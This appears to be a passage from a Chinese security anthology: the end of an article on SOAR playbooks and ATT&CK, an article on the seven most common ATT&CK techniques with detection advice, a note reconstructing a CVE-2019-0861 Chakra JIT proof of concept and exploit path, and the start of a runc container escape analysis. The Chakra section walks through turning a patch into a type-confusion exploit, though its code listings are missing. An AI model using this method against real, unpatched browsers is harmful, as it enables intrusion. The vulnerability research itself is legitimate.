作间的关联、攻击动作序列如何与攻击者战术目标联系起来、这些攻击动作涉及哪些数据源、防御措

施、配置等。
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处于中间层次的 ATT&CK模型对一些高级别的概念（如战术）进行更具有描述性的分类（技术）。

给出每种技术，涉及的数据源、进一步的细分以及具体实现方式等。这意味着如果攻击者运用这项技

术实施攻击，就会在数据源（如进程信息、进程命令行参数）中留下痕迹。如果对这些信息进行实时

监控或者把这些信息记录下来，再配以相应的分析匹配机制就可以实现对该技术的检测或防护。这些

更具描述性的攻击技术，建立了底层的数据源、漏洞等信息与上层战术的桥梁，将攻击者行为更有效

的映射到防御。显示攻击者正在进行怎样的攻击，使得防御者更具有针对性的制定处置策略。

5.4.2 4.2桥接攻击手法与防守策略

ATT&CK中将攻击者行为更有效的映射到防御，对于每种攻击技术给出了非常详细的描述，部分甚至

还存在详细的代码片段。当攻击者利用这些攻击技术时，根据在留下的数据源信息，制定各种机器可

读的检测或处置剧本，包括定义剧本的输入、输出接口以及内部执行逻辑。对于需要人工研判情形，

适当留出适当的参数接口。基于大量的攻击技术可构建原子剧本集合。
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对威胁分析结果的标签化，能够知晓系统遭受的攻击，采用了哪些具体的技术。结合典型的攻击

套路或者威胁命中关联情形，编排人与技术，自动或手动串联攻击行为，调用预置或动态生成的剧本

序列，进行威胁处置。这种将用于预防、检测、处置等的各类剧本串联或并联形成安全运营的处置方

针（course-of-action），加速威胁处置，提高运营效率。这正是 SOAR技术所要解决的关键问题。

5.5 SOAR强化敏捷响应

5.5.1 5.1SOAR简介

2017年，Garther对 SOAR进行全面的概念升级，定义为安全编排自动化与响应（Security Orchestration

Automation and Response）。是组织能够收集来自不同来源安全威胁数据和告警的技术，这些技术利用

人工与机器的组合来执行时间分析和分类，从而帮助定义、确定优先级，并根据标准工作流驱动标准

化的事件响应活动。通过集成联动多个系统和平台来调整不同的安全工具和技术，将人和技术都编入

业务流程中，创建手动和自动协同操作的工作流步骤，以简化安全流程，加快事件响应。

安全编排：将人和技术编入都编入业务流程中，即将不同设备或组件能力通过 API和人工检查点，

按照业务诉求编排成有序的执行逻辑块，创建手动或自动执行的工作流步骤。

自动化：是编排的一个子集，允许按照一定的条件关系，自动化的将一些安全能力集成起来。如

果完全依赖于 API实现，那么它就是自动化执行的。

响应：它在许多方面比传统的安全解决方案更有效。覆盖整个事件的生命周期---警报的生成、其

验证、自动响应、策略分发、人工处置和报告等。

不论是自动化的编排，还是人工编排，都是通过剧本来进行表达的。通过剧本之间的串联、并联关

系，构建业务场景所需的工作流。对于一些未知攻击的处理等需要人工参与的情况，需要相应的剧本

提供人工研判入口。
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5.5.2 5.2运营场景剧本化

SOAR将技术和人都编入业务流程中，将预防、调查、缓解、补救等步骤形成一个或多个行动方针剧

本，能够自动或手动协同操作的工作流步骤。将重复的、常规的、确定的部分交给机器完成，将新的、

复杂的、不确定的交给人工研判处置。分解运营流程中的任务，抽象成不同类型和粒度的自动或手动

触发的剧本。

Investigative剧本：允许手动或自动的发现威胁及其上下文信息，可用于安全事件发生过程中或者

后。如剧本接收到可疑告警，通过调查上下文、query威胁情报等，比对威胁 artifacts，确定是否升级

为事件。

Preventive剧本：保护系统免受已知威胁和可疑行为。这类剧本通过改变 NF、IPS、AV、网关等

策略，封堵恶意的 IP、域名、文件、URL等。此外，补齐威胁相关的脆弱性补丁。

Mitigative剧本：以资产的视角，隔离失陷的用户、设备、应用等，封堵威胁，以防进一步渗透。

封堵剧本，如将失陷主机移至其他网段或 VLAN中做进一步排查。消除威胁后，回归工作网络。

Remediative剧本：通过选择性的纠正恶意的动作或者将设备回滚之已知安全状态，以此补救受影

响的资产。这类剧本通常具有可立即执行的特点，而无需通知协商。

例如，针对恶意文件处置可编排如下剧本：当 TAC检测到某恶意样本，触发创建的 ‘‘狩猎文件’’

剧本，搜集主机资产范围搜索相似样本文件，并上传 TAC，将分析统计结果传送安全运营团队，供其

审核。运营团队研判之后，调用 ‘‘删除文件’’剧本，自动化的下发操作指令，清除恶意文件。

5.5.3 5.3剧本定义示例

一般的，剧本包括三个基本方面：触发器（trigger）、条件（conditions）、执行动作（actions）:

触发器：当触发条件被满足时，启动执行剧本。多个触发器可通过逻辑组合存在于单个剧本中，

当某触发器被满足时，启动执行对应的动作；

环境条件：控制剧本的逻辑流。通常以块的形式条件，代表一组条件，如风险评分、IP地址、主

机名、平台类型等。满足所有的条件时，才能执行动作；

动作：有序的任务集，如杀死进程、封堵 ip、邮件通知或者其他的运营任务。任务流可以通过设

置 ‘‘审批门’’暂停执行，而 ‘‘审批门’’需要人工干预才能运行后续任务。

一个实例化的剧本，除了包括上述三方面内容外，还需要包括更多的属性，如下参考。
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通过上述 json格式的剧本定义，可将运营过程中的工作流对象转成机器可读的剧本。一些典型剧

本如下图。如对于命中威胁情报或者经过人工研判的恶意 ip，可直接调用 block_ip剧本，实现 ip封堵。
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5.5.4 5.4流程化响应

SOAR的核心是制定、编排剧本和动作，并自动/半自动执行剧本。在检测引擎剧本的识别下，生成安

全事件。对于确信的安全事件，如已知的攻击套路，根据其工作流模式，编排对应的剧本。随着工作

流的推进，其剧本动作也将有序执行。对于不确信的安全事件（如未知威胁），需人工操作与事件调查

分析，根据其调查结果，一方面，可直接研判执行动作；另一方面，可新建新的应对剧本。经过严格

的验证，固化到系统剧本和动作集之中。当下次触发时，则可自动化的响应。下图展示了运营过程中，

事件、人、剧本、动作、设备之间的一般性关系。

此外，将安全人员的丰富知识和经验提炼、抽象为一个易于重复的过程，形成新的剧本，经验证固

化到系统之中，必要为剧本提供人工研判入口。使得优秀的分析知识和经验得以保留和传承。
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5.6 案例介绍

安全运营平台通常通过接入多源日志，关联 ATT&CK知识库，灵活嵌入安全分析能力组件，精确识别

攻击事件。采用预判和研判相结合的方式，实现明确事件的自动处置和可疑事件的人工运维，快速而

全面的处置安全事件，实现安全运营的闭环管理。一般的安全运营流程如下所示。

5.6.1 6.1威胁数据标签化

在实际运营过程中，通过 ATT&CK标签化的安全事件，可知攻击者采用了何种战术以及何种技术。如

绿盟新一代智能安全运营平台 iSOP，对于发现的安全事件，既从攻击链比较高层次的视角，给出事件

的危险程度。也给出详细的 ATT&CK信息，描述攻击发生的具体技术细节。为客户提供全方位威胁

分析视图，既见森林，又见树木。
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5.6.2 6.2钓鱼攻击分析

以一个更为复杂的案例说明，如通过钓鱼攻击，其攻击过程如下图：

这样一个复杂的场景，可以从多点检测，生成多条事件。比如：邮件附件检测、office宏调用、计

划任务、Powershell行为、异常进程发现、数据加密等。其检测的安全事件在 ATT&CK中命中情况以

及彼此间的关系如下图。

针对其中发现的可疑进程 sts.exe事件，通过调用 investigative_process剧本，查看可疑进程的上下

文，并可视化展示。
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当发现的进程外连某 ip时，可调用 investigative_ip剧本，进行威胁情报分析。如果命中恶意 ip，调

用 ip封堵剧本 block_ip实现一键封堵。实际上，这种情况，可以通过编排 detect_external_connnection

_ip剧本、investigative_ip剧本、block_ip剧本为线性剧本的工作流，实现恶意 ip的自动封堵响应。
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5.7 结束语

在攻防不对称的困境下，提高安全运营效率的一个有效途径就是及时的发现和响应威胁，争取系统最

小的暴露时间。ATT&CK和 SOAR等新技术，为威胁发现和响应带来了新鲜血液，为安全运营优化提

供了新的思路。然而，正因为其优秀的能力和卓越的特性，如何利用好 ATT&CK和 SOAR并将其融

入产品中，提升产品的安全能力，是一个需要深思的问题。
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作者：青藤云安全资讯

来源：青藤云安全资讯

之前，青藤云安全已经对 ATT&CK进行了一系列的介绍，相信大家都已了解，Mitre ATT&CK通

过详细分析公开可获得的威胁情报报告，形成了一个巨大的 ATT&CK技术矩阵。诚然，这对于提高

防御者的防御能力、增加攻击者的攻击成本都有巨大作用。但或许是出于猎奇心理，很多威胁情报报

告更多地是在报道攻击者使用的比较新颖有趣的技术方法，而却忽视了攻击者反复使用的普通技术。

这也是Mitre公司在 2019年 10月份的 ATT&CKcon2.0大会上，推出了 ATT&CK Sightings项目，以期

借助社区力量收集更多直接观察数据的原因所在。

对此，一些安全公司通过在真实环境中所收集的直接观察数据来检测攻击技术，这种方法直观性

更强，也更具说服力。Red Canary是美国一家从事信息安全的网络安全公司，负责对客户环境中的终

端数据进行大规模检索，来寻找攻击者。Red Canary分析了过去五年里，其客户环境中发生的一万多

起恶意事件，并将恶意事件中使用的技术与 ATT&CK框架进行了映射。

本文将通过对比Mitre ATT&CK的 Top 20攻击技术及 Red Canary基于 ATT&CK的 Top 20攻击技

术，确定了攻击者最常用的七项 ATT&CK技术，并对其进行了详细分析。

6.1 Mitre公司 VS Red Canary Top 20攻击技术

Mitre ATT&CK通过整合、分析 400多份公开的威胁情报报告，将技术报告中的内容与 ATT&CK技术

进行了映射，MITRE ATT&CK整理得出的 Top 20攻击技术为：

Red Canary通过对过去五年里，其客户环境中发生的一万多起恶意事件进行分析，得出了威胁事

件利用每种 ATT&CK技术的频率，如下图所示：
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从图中我们看到，Red Canary分析得出的 Top 20攻击技术为：
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对Mitre ATT&CK和 Red Canary分别整理得出的 Top 20技术进行对比分析，我们可以发现有 7项

技术是重合的，分别为 PowerShell、脚本执行、命令行界面、注册表 Run Key/启动文件夹、伪装、混

淆文件或信息、凭据转储。或许，这应该是防御者建立防御方案的着手点。

下表展示了这七项技术在 Red Canary和Mitre ATT&CK Top 20攻击技术中的排名次序和出现次数。
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希望读者能够通过上表中的数据，进一步了解攻击者对这七种技术的使用频率和在攻击者中的流

行程度。下面，我们详细分析这七种技术。

6.2 攻击者最常用的 TOP7攻击技术

1. “Powershell’’备受攻击者青睐

PowerShell是Windows操作系统中包含的功能强大的交互式命令行界面和脚本环境。攻击者可以

使用 PowerShell执行许多操作，包括发现信息和执行代码，例如，用于运行可执行文件的 Start-Process

cmdlet和在本地或在远程计算机上运行命令的 Invoke-Command cmdlet。

默认情况下，PowerShell基本上已包含在每个Windows操作系统中，提供了对Windows API的完

全访问权限，包括数百个供开发人员和系统管理员使用的功能，但同样也遭到攻击者的大肆利用。像

许多核心平台实用程序一样，PowerShell库很容易获得，因此也很容易实现，能够暴露任意进程中的

完整 PowerShell功能。

那么该如何进行检测呢？进程监控是最普遍有效的技术。进程监控可以让防御者确定在其环境中

使用 PowerShell的基准。进程命令行监控则更有效，可以洞悉哪些 PowerShell实例试图通过编码命令

传递有效负载并以其他方式混淆其最初意图。除了 PowerShell脚本的默认主机之外，脚本还可以在加

载 PowerShell框架库的其他进程中执行。要查看该行为，观察模块负载以及进行分析以提供其他上下

文，从而为检测提供支持。

2. ‘‘脚本执行’’不容忽视

攻击者可能会使用脚本来帮助进行操作并执行其他本来应该是手动进行的多项操作。脚本执行对

于加快操作任务，减少访问关键资源所需的时间很有用。通过直接在 API级别与操作系统交互，而无

需调用其他程序，某些脚本语言可以用于绕过过程监视机制。Windows的常用脚本语言包括 VBScript

和 PowerShell，但也可以采用命令行批处理脚本的形式。
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安全工具和人工分析的快速发展让攻击者很难使用公开的攻击载荷或者直接从磁盘获取相关载荷。

因此，攻击者需要找到替代方法来执行有效载荷并执行其他恶意活动，这是脚本相关技术日益流行的

主要原因。此外，该技术利用的运行时环境、库和可执行文件是每个现代计算平台的核心组件，不能

轻易禁用，并且没有始终对其进行密切监视。

在 Windows上，Windows脚本宿主（WSH）最简单的检测用例是基于 process ancestry的。这包

括监视从 shells命令（cmd.exe、powershell.exe）、Office应用程序、Web浏览器和Web服务处理程序

中生成的 wscript.exe或 cscript.exe。还建议监视从非标准位置执行的脚本，例如用户可写路径，包括

appdatalocal*、其他类似路径以及临时目录。

此外，监视进程元数据、进程命令行和文件修改都是非常重要的策略。检测与托管脚本相关的二

进制文件的可疑模块加载（例如 vbscript.dll）的检测系统也是值得采取的策略。

当然最彻底的办法就是禁用Windows脚本宿主，也可以强制对脚本进行签名，以确保仅执行批准

的脚本。诸如 AppLocker之类的工具还提供了与脚本执行相关的其他约束。这些是预防策略，但也可

用于检测之用，因为尝试执行未经授权的脚本应产生更高质量的报警信号。

3. ‘‘命令行界面’’也是黑客最爱

命令行界面提供了一种与计算机系统进行交互的方式，并且是许多类型的操作系统平台的共同功

能。Windows系统上的令行界面是 cmd，可用于执行许多任务，包括执行其他软件。命令行界面可以

通过远程桌面应用程序、反弹 Shell会话等在本地或远程进行交互。执行的命令以命令行界面进程的

当前权限级别运行，除非该命令进行进程调用，更改执行权限（例如计划任务）。

命令行界面发展至今，已经有大量的成熟工具可以使用。此外，命令行界面是一个非常轻便的应

用程序，打开时不会给硬件带来负担，因此打开起来更快。而且在基于 GUI的应用程序上完成的所有

任务，能够通过命令行界面更快地打开。

针对这类攻击，可以通过使用命令行参数正确记录进行执行情况来捕获命令行界面活动。通过深

入了解攻击者时如何使用本地进程或自定义工具的，可以进一步了解攻击者的行为。这就需要做到以

下两方面：（1）了解组织机构中应用程序的常见来源；（2）收集命令行和相关的检测数据.

4. ‘‘注册表 run key/启动文件夹’’是实现持久化的关键动作

在注册表的 “run keys’’或启动文件夹中添加一个条目，将会导致用户登录时，该程序会运行该条

目。这些程序将在用户的上下文中执行，并具有与账户相同的权限级别。

注册表 run key和启动文件夹历来都是各类攻击者实现持久化的重要目标。根据Microsoft文档，对

注册表 run key的支持至少可以追溯到Windows95。有可靠记录表明，作为一种持久化机制，加之易

于实施，该技术在一定程度上解释了其为何在攻击者中使用非常普遍。攻击者仅需要用户级别的权限，

并具有写入注册表或将有效负载拖放到启动文件夹的功能。

虽然实现起来相对简单，但非常有效。随着时间的推移，该技术已经从引用可执行有效负载发展

为加载动态库，并利用了其他技术（例如 regsvr32和脚本执行）。针对该攻击技术，可以在持久化机制

生命周期的三个不同点上有效地实现检测：安装时、休眠时以及触发时。
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在安装时检测 run key和启动文件夹项目需要监视特定注册表和文件系统路径的变更情况。可以通

过平台文档或通过引用一些实用程序来报告是否存在这些配置来列举这些路径。此外，可能会成功检

查任何已知与这些路径结合使用的文件类型，例如 LNK。要检测已安装且处于休眠状态的持久化，可

以检查同一注册表和文件系统路径的内容中是否存在可疑条目。创建一个基准并定期监视是否有偏移

基准的情况，以此来减少调查工作量。

当然，持久化永远不会单独发生，它始终是达到目的的手段。因此，监视预期某些变更会涉及哪些

进程以及尚未观察到的进程之间的关系也是非常有效的。

5. ‘‘伪装’’是绕过防御的最佳办法

伪装是指为了逃避防御和观察而操纵或滥用合法或恶意的可执行文件的名称或位置的情况。攻击

者利用伪装作为绕过防御技术的手段或欺骗手段。攻击者使用该技术通过使恶意可执行文件和软件看

起来合法或预期来破坏机器和人工分析。伪装的实现范围很广，从简单地重命名可执行文件（从而让

这些文件看起来更像是正常系统进程）到更复杂的方法（例如命令行欺骗）。伪装在攻击者中使用很普

遍，因为它满足了绕过防御技术和人为分析的简单需求，并且相对容易实施。

检测伪装技术的一种策略是利用二进制元数据，例如在文件创建或签名时的原始文件名。例如，如

果要查找 wscript.exe，则应查找具有该名称的二进制文件，也应查找具有原始文件名WScript的任何

二进制文件。

虽然，可以检测名称或元数据为 wscript.exe的任何二进制文件，但基于文件的签名、哈希或其他

标识符并不可信。因此可对文件位置建立一个基准，对上述方法进行补充。如果我们了解给定二进制

文件通过哪个路径执行，则可以在其他任何地方看到该标志时，就可以触发报警。

6. ‘‘混淆文件或信息’’可逃避基于签名的检测系统

攻击者可能会试图通过加密、编码或其他方式混淆系统上或传输中的可执行文件或文件内容，从

而使其难以发现或分析。这是一种可以跨不同的平台和网络使用，以绕过防御的常见行为。

许多网络安全检测产品（防病毒软件、IDS等）设计为基于恶意软件的签名运行。一旦发现了在野

使用的特定恶意软件变体，便会提取出该恶意软件的独特功能，并用于在未来感染中对其进行检测和

识别。将通过网络边界或下载到主机的每条数据与这些签名进行比较。如果找到匹配项，则将采取措

施（删除、隔离、警报等）。

混淆的目的是绕过这些基于签名的检测系统，并增加对恶意软件样本进行取证分析的难度。如果

以某种方式混淆了签名所基于的数据或代码，则检测引擎在寻找纯文本签名时就无法找到匹配项。

存在许多混淆算法，例如压缩、编码、加密、隐写等等。恶意软件使用者可以隐藏各种不同类型的

文件和数据。例如，恶意软件可能被设计为使用混淆来隐藏其恶意代码。或者，恶意软件变体可能会

对其配置文件进行加密，从而使恶意软件分析师更难于理解其功能。

想要检测混淆文件或者信息，除非在混淆过程留下了可以检测到的独特伪像，否则很难检测文件

混淆。如果无法检测，则可以去检测执行混淆文件的恶意活动（例如，用于在文件系统上写入、读取

或修改文件的方法）。标记并分析包含混淆指示符和已知可疑语法（例如未解释的转义字符，如”’ˆ”’

和””’‘’’）的命令。反混淆工具可以用来检测文件/有效载荷中的这些指标。
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此外，可以在网络上检测到用于初始访问的有效载荷中使用了哪些混淆方法。还可以使用网络入

侵检测系统和电子邮件网关筛选来识别压缩和加密的附件和脚本。某些电子邮件附件展示系统可以打

开压缩和加密的附件。通过网站从加密连接传递的有效载荷需要进行加密的网络流量检查。

7. ‘‘凭据转储’’让黑客在内网为所欲为

凭据转储是从操作系统和软件获取帐户登录名和密码信息的过程，通常是哈希或明文密码形式的

信息。进行凭据转储后，攻击者就可以使用凭据进行横向移动及访问受限信息。

凭据转储是攻击者访问目标组织中的用户帐户和其他资源的共同需求。攻击者还利用转储的凭据

来实现权限提升和横向移动。凭据对于攻击者而言是如此重要，以致在许多情况下，获取用户名和密

码不仅是达到目的的手段，而且是攻击的整个目标。因此，在各种犯罪论坛上，凭据都是可出售的商

品，并且有些网站可以追踪公开的凭据转储情况。除了将转储凭据用于出售和初始访问外，凭据是漏

洞利用后的一个重要部分。一旦攻击者获得对环境的初始访问权限，通常需要某种级别的特权访问权

限才能实现攻击活动中的进一步目标。虽然有很多方法可以提高特权级别，但是最有效和可靠的方法

之一是使用具有特定级别权限的人员的合法凭据。

凭据可以从内存中以纯文本格式提取。监视对特定进程的访问可以为防御者提供一种检测凭据转

储的方式。这种检测方法很容易产生大量误报事件，因为操作系统的内置功能也可以访问这些过程。

防御者要重点关注潜在问题进程之间的交互来减少这种噪声。

检测是否存在凭据转储的另一种方法是分析常用工具，并使用其他数据源作为相关点，基于留下

的指纹来制定检测策略。注册表项和文件修改就是一个很好的切入点。

6.3 写在最后

青藤云安全之前已经针对 ATT&CK框架进行了一系列的介绍，有兴趣的读者可以阅读一下之前的相

关文章。但是，ATT&CK框架包含了 300多种技术，而且每种技术又包含多种变体。面对一个体型如

此庞大的框架，可能会让人有些望而却步，一脸茫然，不知该从何处入手。本文通过对比分析MITRE

ATT&CK和 Red Canary总结分析的 Top20攻击技术，发现其中有七项技术是重合的，突出说明了这

七项攻击技术在攻击者中的普遍性，是需要防御者重点关注或是建立防御方案时的着手点。本文对这

七项技术进行了简单的介绍，说明了这些技术能够得到攻击者青睐的原因所在，并给出了检测策略，

希望能够为读者使用 ATT&CK框架带来一些帮助。
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Chakra漏洞调试笔记 5——CVE-2019-0861复现

作者：elli0tn0phacker

来源：https://www.anquanke.com/post/id/190533

在《Chakra漏洞调试笔记》1~4中，笔者从 ImplicitCall，OpCode Side Effect，MissingValue和 Array

OOB几个方向分别介绍了 Chakra JIT引擎的几个常见攻击面。从近几个月 Google Project Zero的 bug

列表中可以看到不再有新的 Chakra漏洞 PoC更新，猜测可能是因为微软将在新版的 Edge浏览器中

使用 Chromium内核，Google Project Zero的挖洞重点不再是 Chakra。因此从这篇笔记开始，笔者将

尝试对今年 Chakra的一些漏洞补丁进行分析，尝试根据补丁复现 PoC。这篇笔记选择分析的漏洞是

CVE-2019-0861。

7.1 0x0 Patch Analysis

这里的补丁比较简单，只有一行，即在函数 JavascriptOperators::CallSetter回调返回前加入了语句：

threadContext->AddImplicitCallFlags(ImplicitCall_Accessor);

根据笔记 1 的介绍，ImplicitCallFlags 是用来同步 Interpreter 和 JIT 状态的标识符，这里加入

ImplicitCallFlags说明存在 JIT中存在需要 Bailout到 Interpreter的情况。

补丁中给出了修补的注释，大概意思是如果需要将变量存储的值向前传播，就需要 Bailout，不能依

赖于 getter/setter来生成 LdFld需要的值。这里理解起来比较晦涩，大概可以猜到的信息是 getter/setter

操作错误导致 JIT里对变量值判断错误。
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7.2 0x1 From Patch to PoC

通过 Patch复现 PoC，笔者的思路是首先寻找可以走到 Patch点的 js代码。然后根据猜测的漏洞点通

过修改 js代码构造触发漏洞的 PoC。

首先通过源码查找寻找函数 JavascriptOperators::CallSetter可能的调用栈，这里找到一个可能的调

用栈如下：

JavascriptOperators::OP_SetProperty

JavascriptOperators::SetProperty

JavascriptOperators::SetProperty_Internal

JavascriptOperators::SetAccessorOrNonWritableProperty

JavascriptOperators::CallSetter

根据函数 JavascriptOperators::OP_SetProperty，猜测这里可以触发漏洞点函数应该是一个对象属性

的 Set操作。

根据函数 JavascriptOperators::SetAccessorOrNonWritableProperty的实现：

猜测到对象的属性需要有构造器（Accessor）才可以走到漏洞点。由 Project Zero如下 case启发：
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这里使用 __defineSetter__定义构造器，第一版 js代码如下：

在函数 JavascriptOperators::CallSetter回调返回前下断点，当执行 obj.x = 1;语句时，可以看到 c++

代码成功走到了漏洞点：
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由于 ImplicitCallFlags是用来处理 JIT中回调的 bailout问题，因此我们还需要将第一版 js代码修改

为可以触发 JIT的代码，在 JIT调用栈中走到漏洞点。修改第二版 js代码如下（ch.exe运行参数 -mic:1

-off:simplejit -bgjit-）：

这里我们通过接受 obj.x的值作为 JIT的返回值，检查 JIT对 obj.x值判断是否正确。

再次运行 PoC代码，函数 opt触发 JIT，并成功走到漏洞点：

两次 print的输出分别为 1和 undefined，符合预期。

有了可以走到漏洞点的 js代码，接下来就需要分析如何通过修改 js代码构造触发漏洞的 PoC了。

关于 JIT中脚本回调的问题，Chakra是通过 ImplicitCallFlags机制处理的。一般情况下：

1. JIT代码会根据 Opcode是否存在脚本回调的情况生成 BailOutOnImplicitCallsPreOp或者 BailOu-

tOnImplicitCalls指令
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2. runtime代码通过 ExecuteImplicitCall调用回调函数，ExecuteImplicitCall内部首先判断回调函数

是否存在 Side Effect，如果没有就直接执行回调函数（返回前需检查回调函数的返回值是否在栈

上，防止栈上指针泄露，见 CVE-2018-0860）；如果 DisableImplicitCallFlags=1则不执行回调函

数，直接返回 Undefined；否则在回调函数前设置 ImplicitCallFlags，再调用回调函数。这样在回

到 JIT代码后就可以通过检查 ImplicitCallFlags是否被修改来判断是否发生脚本回调了。（具体原

理参见笔记 1）

首先，obj.x = 1对应的操作符 StFld会生成 BailOutOnImplicitCalls指令，满足 1）；

其次，JavascriptOperators::CallSetter回调点是通过 ExecuteImplicitCall调用的，满足 2）。

因此，这里不可以通过 obj.__defineSetter__(“x”, ()=>{}); 构造一个脚本回调来修改 JIT 中的

数据类型。那么为什么补丁还在 JavascriptOperators::CallSetter 回调函数返回前加入 threadContext-

>AddImplicitCallFlags(ImplicitCall_Accessor);强制 JIT bailout呢？是否存在不通过回调就可以触发 JIT

错误的方法呢？

我们观察第二版 js代码生成的 Globopt后的 IR：

这里我们看到 StFld确实生成了 BailOutOnImplicitCalls，同时发现语句 var tmp = obj.x; return tmp;

被优化成了：

Ret 0x1000000000001.var

也就是说 JIT认为 obj.x是一个常量，常量的赋值传播直接被优化成了返回常量 1。

我们知道 obj.__defineSetter__(“x”, ()=>{}); 使得 obj.x = undefined，JIT在 Ret 0x1000000000001.var

前因为回调函数 ()=>{}而 bailout到 Interpreter，从而返回了 undefined的正确值。

那么根据补丁，应该存在这样一种错误的场景：不触发 StFld指令 bailout条件的情况下，通过构造

器 __defineSetter__设置 obj.x = undefined，回到 JIT后因为 ImplicitCallFlags没有被 ExecuteImplicitCall

修改从而不会 bailout到 Interpreter，最终返回 obj.x的错误值 1。

观察 ExecuteImplicitCall的实现：
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其中红框中的逻辑是：当回调函数没有 Side Effect，并且返回值不再栈上，就不会设置 Implicit-

CallFlags。因此这里把 obj.__defineSetter__(“x”, ()=>{});的回调函数 ()=>{}修改为没有 Side Effect的

函数，就可以触发红框中代码流程。由 Project Zero如下 case启发：
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修改后的第三版 js代码如下：

再次执行 PoC，成功绕过了 JIT中 BailOutOnImplicitCalls的检查，回调返回后继续执行 JIT代码。

可以看到第二次的 print(ret)错误的输出了数值 1（正确值为 undefined）：
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到这里我们就成功构造出了触发漏洞的 PoC了。接下来需要考虑如何利用这个漏洞。

7.3 0x2 Exploit

这里我们可以利用漏洞得到一个 JIT判断错误的值，那么如何利用呢？由 S0rryMyBad漏洞利用代码

启发：

修改 PoC如下，尝试通过漏洞返回错误的值 0：
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执行 js代码，很遗憾，第二次 ret值打印为 NaN，我们观察上述 js代码生成的 Globopt后的部分 IR：

这里看到 return tmp – 0;生成 IR中变量 tmp的符号信息是 CanBeTaggedValue_Int，tmp – 0对应的

操作符为 Sub_I4，返回的值 s0对应的符号信息也是 CanBeTaggedValue_Int。因此 JIT后函数 opt返回

值应该是一个整数（FromVar没有 Bailout），但是最后输出了非数字 NaN，说明没有走到 JIT return的

代码，在前面就 Bailout了。观察前面的 IR，发现 LdFld存在 BailOutOnImplicitCallsPreOp指令不允许

产生脚本回调，猜测是在这里 bailout，通过调试验证猜测：

可以看到，这里正是在 LdFld后，ImplicitCallFlags = ImplicitCall_Accessor（0x5）从而发生了 bailout。

因此我们需要修改 js代码，不让 LdFld回调产生 bailout。
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有了之前 StFld构造的经验，LdFld绕过 ImplicitCallFlags的方法就很容易想到了。观察到 Javascrip-

tOperators::CallGetter的返回值前没有强制增加 ImplicitCallFlags：

因此修改后的 PoC如下：

这里 LdFld不再 bailout，并且 JIT调用 Js::JavascriptMath::ToInt32将 Object.prototype.valueOf返回

的 this指针（obj）转换成 0，从而得到错误的 obj.x = 0。
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最后尝试利用错误的 obj.x= 0构造一个存在Missing Value并且有 HasNoMissingValues标志的错误

状态的 NativeIntArray：

运行 PoC，Debug版的 ch.exe成功触发 ASSERTION：

后面的利用就可以参考 S0rryMyBad利用代码，将 NativeIntArray转换为 NativeFloatArray最终触发

Array的类型混淆。
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7.4 0x3 Thinking

理解补丁原理后接着要思考的就是这个补丁是否完全修复了问题，是否有方法可以绕过补丁或者寻找

到类似的攻击点。通过 JavascriptOperators::CallSetter的补丁很容易联想到 JavascriptOperators::CallGetter

是否会存在类似的问题。可以看到 CVE-2019-0861的补丁并没有修复 JavascriptOperators::CallGetter函

数，跟踪 ChakraCore的 commit可以看到两个月后的 CVE-2019-0993补丁正是用来修复 JavascriptOp-

erators::CallGetter函数：

因此可以尝试复现 JavascriptOperators::CallGetter触发漏洞的 PoC。

我们选择在前面构造的 CVE-2019-0861 PoC 基础上做修改，首先需要注释 JavascriptOpera-

tors::CallSetter 的调用，因为 JIT 现在走到 JavascriptOperators::CallSetter 一定会 bailout，同时在 obj

初始化的时候创建属性 x值为 1：
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运行 js代码，发现第二个 print(ret)为 NaN，说明 JIT bailout了，观察 Globopt阶段生成的部分 IR：

发现函数 opt返回前，tmp的符号信息变成了 LikelyCanBeTaggedValue_Int，而不是之前的 CanBe-

TaggedValue_Int，同时增加了一个 BailOutIntOnly的检查，通过调试证明 JIT正是在这里 bailout的，因

此需要修改 PoC，让这里的 tmp的符号信息变为 CanBeTaggedValue_Int。观察 CVE-2019-0993补丁的

注释：

根据注释，这里我们尝试增加一个比较运算，修改 PoC如下：

99



漏洞分析 Chakra漏洞调试笔记 5——CVE-2019-0861复现

观察 Globopt阶段生成的部分 IR：

可以看到，返回的 tmp-0没有了 bailout，但是现在需要考虑绕过 if(obj.x > 0)的 bailout。

这里需要构造的执行流程是：
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1. if(obj.x > 0)中 obj.x触发 __defineGetter__回调，返回 >0的数值进入 if分支，比如 1

2. var tmp = obj.x; obj.x触发 __defineGetter__回调，返回 Undefined，触发漏洞

两次 __defineGetter__的相同回调函数返回值不一样，由 Project Zero如下 case启发：

这里我们需要寻找一个调用链：Runtime里没有 Side Effect的函数回调一个用户自定义函数。这里

笔者选择的是 Array.prototype.toString, Array.prototype.toString会调用对象属性 Join：
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通过设置属性 Join使得第一次的 obj.x返回 1绕过 if分支的检查，再 delete obj的属性 Join，使得

obj.x调用 Array.prototype.toString返回 Undefined从而触发漏洞。具体构造 PoC的过程感兴趣的读者

可以自行尝试。

7.5 0x4 References

1. https://github.com/microsoft/ChakraCore/commit/b481337f2ae6e92efd919692c6691996947f49ec

2. https://bugs.chromium.org/p/project-zero/issues/detail?id=1576

3. https://bugs.chromium.org/p/project-zero/issues/detail?id=1437

4. https://phoenhex.re/2019-05-15/non-jit-bug-jit-exploit

5. https://www.anquanke.com/post/id/180551

6. https://github.com/microsoft/ChakraCore/commit/36644ee0d4cc2bc97a3cd49c3540e6eea193182a
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作者：星云实验室

来源：https://mp.weixin.qq.com/s/UZ7VdGSUGSvoo-6GVl53qg

35C3 CTF是在第 35届混沌通讯大会期间，由知名 CTF战队 Eat, Sleep, Pwn, Repeat于德国莱比锡

举办的一场 CTF比赛。比赛中有一道基于 Linux命名空间机制的沙盒逃逸题目。赛后，获得第三名的

波兰强队 Dragon Sector发现该题目所设沙盒在原理上与 docker exec命令所依赖的 runc（一种容器运

行时）十分相似，遂基于题目经验对 runc进行漏洞挖掘，成功发现一个能够覆盖宿主机 runc程序的

容器逃逸漏洞。该漏洞于 2019年 2月 11日通过邮件列表披露，分配编号 CVE-2019-5736。

本文将对该 CTF题目和 CVE-2019-5736作完整分析，将整个过程串联起来，以期形成对容器底层

技术和攻击面更深刻的认识，并学习感受其中的思维方式。

8.1 一、前言

有些鸟是不能关在笼子里的，他们的羽毛太漂亮了。

—---《肖申克的救赎》

35C3 CTF是在第 35届混沌通讯大会期间，由知名 CTF战队 Eat, Sleep, Pwn, Repeat于德国莱比锡

举办的一场 CTF比赛。比赛中有一道基于 Linux命名空间机制 [10]的沙盒逃逸题目（类别为 Pwn）。

赛后，获得第三名的波兰强队 Dragon Sector发现该题目所设沙盒在原理上与 docker exec命令所依

赖的 runc（一种容器运行时）十分相似，遂基于题目经验对 runc进行漏洞挖掘，成功发现一个能够

